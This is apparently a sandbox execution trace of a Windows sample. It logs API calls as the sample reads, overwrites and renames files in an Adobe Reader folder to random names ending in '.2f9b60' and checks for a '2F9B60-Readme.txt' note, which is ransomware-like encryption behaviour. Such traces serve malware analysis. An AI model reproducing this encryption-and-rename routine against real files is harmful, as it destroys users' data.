10.0\\reader\\pmd.cer"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e54 [0137.942] GetFileSizeEx (in: hFile=0x1e54, lpFileSize=0x34d7f880 | out: lpFileSize=0x34d7f880*=420) returned 1 [0137.942] SetFilePointerEx (in: hFile=0x1e54, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.942] ReadFile (in: hFile=0x1e54, lpBuffer=0x34d7f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34d7f848, lpOverlapped=0x0 | out: lpBuffer=0x34d7f800*, lpNumberOfBytesRead=0x34d7f848*=0x4, lpOverlapped=0x0) returned 1 [0137.943] SetFilePointerEx (in: hFile=0x1e54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0137.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611c0 [0137.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262bd0 [0137.944] NtQuerySystemTime (in: CurrentTime=0x34d7f740 | out: CurrentTime=0x34d7f740*=132462177431842000) returned 0x0 [0137.944] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x5c4ea93c [0137.944] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x32aef029 [0137.944] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x3d810ba [0137.944] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x8a594e1 [0137.944] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x70015922 [0137.944] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x6c7e94f0 [0137.944] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x729a2a7d [0137.944] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x7fe589f3 [0137.944] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x69833ba8 [0137.944] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0xcbfadd7 [0137.944] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x31e73592 [0137.944] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x503484ce [0137.944] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x7e207dd1 [0137.944] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x4ca91d0 [0137.944] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x2c2edbb3 [0137.944] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x7c160d76 [0137.944] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x19e14050 [0137.944] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x1a85c6a4 [0137.945] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x6149158c [0137.945] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x1613dbd8 [0137.945] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x798689e9 [0137.945] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x7479d37e [0137.945] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x46730d66 [0137.945] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x7f09de62 [0137.945] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x755f99fa [0137.945] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x4115697d [0137.945] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x6e66e748 [0137.945] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x748a4d50 [0137.945] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x200048be [0137.945] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x5a4eccc1 [0137.945] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x208ed0fb [0137.945] RtlRandomEx (in: Seed=0x34d7f730 | out: Seed=0x34d7f730) returned 0x4f6f20d7 [0137.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261820 [0137.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060cb0 [0137.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0137.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0137.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262bd0) returned 1 [0137.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c20) returned 1 [0137.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0137.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060cb0 [0137.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0137.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c20) returned 1 [0137.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20360910 [0137.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203518d0 [0137.956] ReadFile (in: hFile=0x1e54, lpBuffer=0x20360910, nNumberOfBytesToRead=0x1a4, lpNumberOfBytesRead=0x34d7f730, lpOverlapped=0x0 | out: lpBuffer=0x20360910*, lpNumberOfBytesRead=0x34d7f730*=0x1a4, lpOverlapped=0x0) returned 1 [0137.956] SetFilePointerEx (in: hFile=0x1e54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.956] WriteFile (in: hFile=0x1e54, lpBuffer=0x203518d0*, nNumberOfBytesToWrite=0x1a4, lpNumberOfBytesWritten=0x34d7f734, lpOverlapped=0x0 | out: lpBuffer=0x203518d0*, lpNumberOfBytesWritten=0x34d7f734*=0x1a4, lpOverlapped=0x0) returned 1 [0137.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0137.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262bd0 [0137.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262bd0) returned 1 [0137.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203518d0) returned 1 [0137.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20360910) returned 1 [0137.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0137.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0137.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20262bd0 [0137.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0137.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060cb0 [0137.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260680 [0137.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260680) returned 1 [0137.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20260680 [0137.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262930 [0137.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b20 [0137.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b20) returned 1 [0137.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0137.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0137.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x1694d0 [0137.960] SetFilePointerEx (in: hFile=0x1e54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0137.960] WriteFile (in: hFile=0x1e54, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x34d7f850, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x34d7f850*=0x100, lpOverlapped=0x0) returned 1 [0137.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0137.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060cb0 [0137.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b20 [0137.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b20) returned 1 [0137.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b7d5a50 [0137.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b20 [0137.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b80 [0137.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b80) returned 1 [0137.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0137.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0137.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x20261b80 [0137.963] sprintf (in: _Dest=0x20261b80, _Format="%c%c" | out: _Dest="b9") returned 2 [0137.963] sprintf (in: _Dest=0x20261b82, _Format="%c%c" | out: _Dest="f7") returned 2 [0137.963] sprintf (in: _Dest=0x20261b84, _Format="%c%c" | out: _Dest="50") returned 2 [0137.963] sprintf (in: _Dest=0x20261b86, _Format="%c%c" | out: _Dest="5d") returned 2 [0137.963] sprintf (in: _Dest=0x20261b88, _Format="%c%c" | out: _Dest="ed") returned 2 [0137.963] sprintf (in: _Dest=0x20261b8a, _Format="%c%c" | out: _Dest="be") returned 2 [0137.963] sprintf (in: _Dest=0x20261b8c, _Format="%c%c" | out: _Dest="08") returned 2 [0137.963] sprintf (in: _Dest=0x20261b8e, _Format="%c%c" | out: _Dest="95") returned 2 [0137.963] sprintf (in: _Dest=0x20261b90, _Format="%c%c" | out: _Dest="d6") returned 2 [0137.963] sprintf (in: _Dest=0x20261b92, _Format="%c%c" | out: _Dest="07") returned 2 [0137.963] sprintf (in: _Dest=0x20261b94, _Format="%c%c" | out: _Dest="57") returned 2 [0137.963] sprintf (in: _Dest=0x20261b96, _Format="%c%c" | out: _Dest="b6") returned 2 [0137.964] sprintf (in: _Dest=0x20261b98, _Format="%c%c" | out: _Dest="eb") returned 2 [0137.964] sprintf (in: _Dest=0x20261b9a, _Format="%c%c" | out: _Dest="18") returned 2 [0137.964] RtlInitAnsiString (in: DestinationString=0x34d7f8c8, SourceString="b9f7505dedbe0895d60757b6eb18" | out: DestinationString="b9f7505dedbe0895d60757b6eb18") [0137.964] RtlAnsiStringToUnicodeString (in: DestinationString=0x34d7f898, SourceString="b9f7505dedbe0895d60757b6eb18", AllocateDestinationString=1 | out: DestinationString="b9f7505dedbe0895d60757b6eb18") returned 0x0 [0137.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd977b0 [0137.964] RtlFreeAnsiString (AnsiString="b") [0137.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b80) returned 1 [0137.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0137.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b20) returned 1 [0137.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1694d0) returned 1 [0137.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260680) returned 1 [0137.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262930) returned 1 [0137.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262bd0) returned 1 [0137.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c20) returned 1 [0137.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611c0) returned 1 [0137.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261820) returned 1 [0137.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261910) returned 1 [0137.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cf4b890 [0137.965] wcscat (in: _Dest=0x1cf4b890, _Source="b9f7505" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\b9f7505") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\b9f7505" [0137.965] wcscat (in: _Dest=0x1cf4b890, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\b9f7505.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\b9f7505.2f9b60" [0137.965] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\b9f7505.2f9b60", NtPathName=0x34d7f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\b9f7505.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0137.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050cb30 [0137.966] NtSetInformationFile (FileHandle=0x1e54, IoStatusBlock=0x34d7f910, FileInformation=0x2050cb30, Length=0x9c, FileInformationClass=0xa) returned 0x0 [0137.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cb30) returned 1 [0137.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecea40) returned 1 [0137.987] NtQueryInformationFile (in: FileHandle=0x1e54, IoStatusBlock=0x34d7f8d8, FileInformation=0x34d7f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x34d7f8d8, FileInformation=0x34d7f8e8) returned 0x0 [0137.987] NtSetInformationFile (FileHandle=0x1e54, IoStatusBlock=0x34d7f8d8, FileInformation=0x34d7f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0137.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b890) returned 1 [0137.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0137.989] FlushFileBuffers (hFile=0x1e54) returned 1 [0138.541] CloseHandle (hObject=0x1e54) returned 1 [0138.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b86b160 [0138.652] wcscpy (in: _Dest=0x1b86b160, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0138.652] wcscat (in: _Dest=0x1b86b160, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt" [0138.652] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\2f9b60-readme.txt")) returned 0x20 [0139.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b160) returned 1 [0139.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d710) returned 1 Thread: id = 2055 os_tid = 0x131c [0137.968] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rtc.der")) returned 0x20 [0137.970] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der", dwFileAttributes=0x20) returned 1 [0137.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rtc.der"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e58 [0137.971] GetFileSizeEx (in: hFile=0x1e58, lpFileSize=0x350ef780 | out: lpFileSize=0x350ef780*=1098) returned 1 [0137.971] SetFilePointerEx (in: hFile=0x1e58, liDistanceToMove=0x446, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.971] ReadFile (in: hFile=0x1e58, lpBuffer=0x350ef700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x350ef748, lpOverlapped=0x0 | out: lpBuffer=0x350ef700*, lpNumberOfBytesRead=0x350ef748*=0x4, lpOverlapped=0x0) returned 1 [0137.973] SetFilePointerEx (in: hFile=0x1e58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0137.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261820 [0137.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611c0 [0137.974] NtQuerySystemTime (in: CurrentTime=0x350ef640 | out: CurrentTime=0x350ef640*=132462177432154000) returned 0x0 [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x370cc95b [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x158cff3d [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x64b48d27 [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0xbe90e8e [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0xb864cd0 [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x2aac22fd [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x27345aa [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x587004f4 [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x15f93b59 [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x7f343f95 [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x10d787d0 [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x487d7945 [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x5ad0f970 [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x6a2fb09a [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x6fb31cda [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x70570aa2 [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x35f01dfb [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x4b1b5f65 [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x5c14c5 [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x5e829ccb [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x3d00e1e0 [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x75dae579 [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x4e469013 [0137.974] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x61e50d6f [0137.975] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x17105457 [0137.975] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x3f23dc27 [0137.975] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x6249f3a0 [0137.975] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x1fe7bb50 [0137.975] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x1c7ae233 [0137.975] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x670bf639 [0137.975] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x30014ddc [0137.975] RtlRandomEx (in: Seed=0x350ef630 | out: Seed=0x350ef630) returned 0x7da08e67 [0137.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0137.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060cb0 [0137.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262bd0 [0137.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0137.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611c0) returned 1 [0137.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261910) returned 1 [0137.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0137.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060cb0 [0137.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0137.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261910) returned 1 [0137.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20360910 [0137.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203518d0 [0137.986] ReadFile (in: hFile=0x1e58, lpBuffer=0x20360910, nNumberOfBytesToRead=0x44a, lpNumberOfBytesRead=0x350ef630, lpOverlapped=0x0 | out: lpBuffer=0x20360910*, lpNumberOfBytesRead=0x350ef630*=0x44a, lpOverlapped=0x0) returned 1 [0137.986] SetFilePointerEx (in: hFile=0x1e58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.986] WriteFile (hFile=0x1e58, lpBuffer=0x203518d0, nNumberOfBytesToWrite=0x44a, lpNumberOfBytesWritten=0x350ef634, lpOverlapped=0x0) [0170.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3020 [0170.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c920 [0170.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c920) returned 1 [0170.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203518d0) returned 1 [0170.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20360910) returned 1 [0170.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0170.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0170.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42c1c920 [0170.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0170.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060cb0 [0170.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cda0 [0170.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cda0) returned 1 [0170.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42c1cda0 [0170.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cdd0 [0170.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ce00 [0170.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ce00) returned 1 [0170.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0170.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0170.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x42c165e0 [0170.969] SetFilePointerEx (in: hFile=0x1e58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0170.970] WriteFile (in: hFile=0x1e58, lpBuffer=0x42c165e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x350ef750, lpOverlapped=0x0 | out: lpBuffer=0x42c165e0*, lpNumberOfBytesWritten=0x350ef750*=0x100, lpOverlapped=0x0) returned 1 [0201.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0201.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd60 [0201.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bd60) returned 1 [0201.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x431f8740 [0201.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd60 [0201.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd30 [0201.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bd30) returned 1 [0201.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0201.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x4205bd30 [0201.531] sprintf (in: _Dest=0x4205bd30, _Format="%c%c" | out: _Dest="cd") returned 2 [0201.532] sprintf (in: _Dest=0x4205bd32, _Format="%c%c" | out: _Dest="1a") returned 2 [0201.532] sprintf (in: _Dest=0x4205bd34, _Format="%c%c" | out: _Dest="f9") returned 2 [0201.532] sprintf (in: _Dest=0x4205bd36, _Format="%c%c" | out: _Dest="c5") returned 2 [0201.532] sprintf (in: _Dest=0x4205bd38, _Format="%c%c" | out: _Dest="9c") returned 2 [0201.532] sprintf (in: _Dest=0x4205bd3a, _Format="%c%c" | out: _Dest="c8") returned 2 [0201.532] sprintf (in: _Dest=0x4205bd3c, _Format="%c%c" | out: _Dest="ad") returned 2 [0201.532] sprintf (in: _Dest=0x4205bd3e, _Format="%c%c" | out: _Dest="22") returned 2 [0201.532] sprintf (in: _Dest=0x4205bd40, _Format="%c%c" | out: _Dest="f5") returned 2 